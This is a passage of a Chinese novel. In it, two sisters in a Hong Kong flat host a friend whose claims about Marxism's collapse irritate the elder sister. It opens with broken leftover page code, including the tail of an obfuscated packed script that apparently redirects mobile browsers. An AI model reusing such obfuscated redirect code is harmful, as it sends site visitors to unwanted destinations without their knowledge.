or|var|webos|android|if|opera|chxs|n|xyz|14922841|152646||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
熬着。”
自家小妹这多年不装冷气机,不全是为了省钱,她这边有规定,像是美荷楼这样的老楼,不准许用冷气机,不过仍然有人偷偷地用,要说小妹还是延安的老传统,重视规则纪律,倒也是可能的,只是柏翠猜测,她多半还是为了怕花钱,省吃俭用啊,若不是这场病,到最后都不知便宜了谁。
说话间忽然电话铃响,柏翠一摆手,阻住了正要起身的梅思:“我去听。……哪位?曹生?哪一位曹生?”
梅思这时已经下了床,走过来接过听筒:“曹生,我是梅思,方才是我姐姐听电话……啊,要再看看照片吗?我这一阵身体不大好,等过几天给你送过去……你明天要过来吗?不是什么大不了的病,就只是心脏有点不舒服,休养了这么一阵,已经好多了,不要担心……”
挂断电话,柏翠便问:“那个曹生,找你要照片做什么?”
梅思笑道:“他在写一本关于大陆的书,要几张照片来用,上一次留下几张,不很够用,想再挑一挑。”
柏翠哼了一声:“他倒是很会取巧,别人拍了照片,他来用,你不如自己写一本,免得像这样‘为人作嫁’。”
梅思哈哈笑道:“姐姐啊,不必这样计较,曹生这些年,也帮了我许多忙,给他用用照片,没什么大不了,况且我如今这样的身体,你还盼着我写书呢?不是说要我多多休息?”
柏翠松开眉头,也笑起来:“那倒也是的。啊呀明天曹先生要过来,得烧几个小菜,明天一早我就去买菜。”
第二日上午十点,曹蔚然果然提了一袋水果,来看望梅思,先问了几句病,见梅思面色还好,并不是自己之前想象的苍白,而是隐隐透着红润,想来确实没有大的妨碍,便放下心来,尽情谈论梅思的大陆行:“那一回匆匆忙忙,许多话没有说,今天要再谈谈,经济建设确实是成功的……”
谈了一阵,便说到妇女政策,柏翠忙忙插一句口:“听小妹说,大陆只怕也要流行香港的师奶……”
曹蔚然瞥她一眼,面色有些僵硬,梅思的这位姐姐,是从台湾来的,政治倾向可想而知,纵然她自身原本没有什么观点,跟着丈夫,总有沾染,于是曹蔚然断然道:“这就是革命潮水退去的结果,马克思主义在中国,是挫败了,在苏联,我看也前途不妙,然而社会主义的失败,损失的是谁呢?是全世界!我们等着看吧,旧的一切都会重新回来,会更加黑暗。”
面对他这如同神谕一般的断言,柏翠微微一笑,没有再说什么,伸出筷子夹了一块鱼肋肉,放进梅思碗里:“小妹啊,吃鱼。”
转头又夹一块肉给曹蔚然:“曹生,吃叉烧,这香港的叉烧啊,真是好,在台湾少有这样正宗的广东叉烧。”
当天下午,送走了曹蔚然,柏翠关了门,回过头来对着梅思,很不服气地愤愤道:“真是骄傲,马克思败了,所有人就都败了?我看马克思那一套是不能救中国,起码不能救中国的妇女,看他那副神气,倒不像学者,好像个算命的。”
梅思笑道:“姐姐对曹生是很不耐烦的了。”
柏翠依然绷着脸:“真搞不懂你怎么会和他当朋友这么多年?我是一刻也耐不得,那一班老夫子,我知道他们满心想的是三从四德,只是这些新夫子,引的路也未必是好的。”
梅思抿嘴笑着说:“姐姐啊,曹生人是不错的,大家除了政治,还可以谈些别的。你现在如此激进,简直好像延安的女同学。”
柏翠也失笑:“我可不会去延安。”
梅思走到桌边,慢慢收拾碗筷:“姐姐方才那几句话,倒有点像《歧路佳人》里面,小眉的妈妈。”
柏翠的兴趣登时提了起来:“哦?她说了什么?”
梅思略想一想:“不太记得了。”
除了不信苏维埃,还有些其她的,确实淡忘了,不过总归有些愤世嫉俗便是了。
柏翠笑眯眯:“等我回去了,可要找一找。”
这时电话铃又响,梅思离得近,抢先接起来,“喂喂”两声,说了几句,挂了电话,转回头笑着对柏翠说:“明天又有客人来,这一位客人,定然合姐姐的脾胃。”
柏翠的兴致马上便给吊了起来:“是谁?是谁?”
梅思笑道:“见了面自然知道。”
柏翠把一堆碗碟往厨房里搬,笑骂道:“你这个家伙,成心让人着急!”